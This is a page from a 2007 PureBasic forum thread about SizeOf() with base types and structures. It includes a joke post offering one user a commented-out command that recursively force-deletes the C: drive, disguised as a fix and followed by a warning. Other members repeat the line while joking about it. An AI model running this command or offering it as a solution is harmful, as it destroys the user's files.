Page 2 of 2

Posted: Tue Apr 10, 2007 7:55 pm
by Thalius
hmm.. could even be a bot posting ...

Image

:lol:

Posted: Wed Apr 11, 2007 3:34 am
by DoubleDutch
hmm.. could even be a bot posting ...
I was just thinking that too. :shock:

Maybe it's Fred, gone crazy after working on a Mac for too long!

Posted: Wed Apr 11, 2007 7:49 pm
by codefire
Psychophanta wrote: snip...
I translate it to PB:

Code: Select all

h_verlen.c=(4<<4)|(SizeOf(ipHeader)/SizeOf(long))
Interestingly enough the docs for 4.02 state that SizeOf() only works on structures and not on base types. However, you are right it works fine on base types:

Code: Select all

If OpenConsole()
  PrintN("sizeof long is:"+Str(SizeOf(long)))
  PrintN("sizeof quad is:"+Str(SizeOf(quad)))
  PrintN("Hit Enter to continue")
  Input()
EndIf
Prints 4 and 8 as expected.

Cheers,
Codefire

Posted: Wed Apr 11, 2007 8:18 pm
by Clutch
Codefire,
'Long' and 'Quad' are structures. Defining 'myVariable.Long' is not the same as 'myVariable.l'. What you can't do is 'SizeOf(.l)' and the like (although you can get the SizeOf() the variables themselves if the base type is not included, i.e. 'Debug SizeOf(myVariable)' ). ;)

Code: Select all

;Base type:
myVariable.l = 42

;Structure:
myVariable2.Long
myVariable2\l = 42

Debug SizeOf(myVariable)
Debug SizeOf(myVariable2)

Debug myVariable
Debug myVariable2     ;Not the long value, but a pointer to a structure.
Debug myVariable2\l   ;The actual long value contained in the structure's only element.

Posted: Wed Apr 11, 2007 9:34 pm
by GeoTrail
This should fix all PBChinese's troubles. At least for some time :lol:

Code: Select all

; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:\", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
ANYONE ELSE SHOULD NOT RUN THAT CODE

Posted: Wed Apr 11, 2007 10:03 pm
by Matt
PBChinese, I think this perfect solution, it worked for me. 8)

Posted: Wed Apr 11, 2007 11:12 pm
by SFSxOI
GeoTrail wrote:This should fix all PBChinese's troubles. At least for some time :lol:

Code: Select all

; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
ANYONE ELSE SHOULD NOT RUN THAT CODE
You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"

Posted: Thu Apr 12, 2007 7:59 am
by codefire
Clutch wrote:Codefire,
'Long' and 'Quad' are structures. Defining 'myVariable.Long' is not the same as 'myVariable.l'. What you can't do is 'SizeOf(.l)' and the like (although you can get the SizeOf() the variables themselves if the base type is not included, i.e. 'Debug SizeOf(myVariable)' ). ;)

...snip...
Wow, I didn't know that! Long and Quad structures! :shock:

Very useful to be able to find the size of a variable too...nice.

Cheers,
Codefire

Posted: Thu Apr 12, 2007 4:10 pm
by GeoTrail
SFSxOI wrote:
GeoTrail wrote:This should fix all PBChinese's troubles. At least for some time :lol:

Code: Select all

; PBChinese, uncomment the line below and compile and run it!
;DeleteDirectory("C:", "*.*", #PB_FileSystem_Recursive|#PB_FileSystem_Force)
ANYONE ELSE SHOULD NOT RUN THAT CODE
You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"
That is why I wrote the warning in big red letters below :)

Posted: Thu Apr 12, 2007 5:28 pm
by Kaeru Gaman
SFSxOI wrote:You just know that someone new is going to read your post and think "Oh! Cool!, lets see what this does"
indeed, someone who tries that code without looking in the help first just deserves it.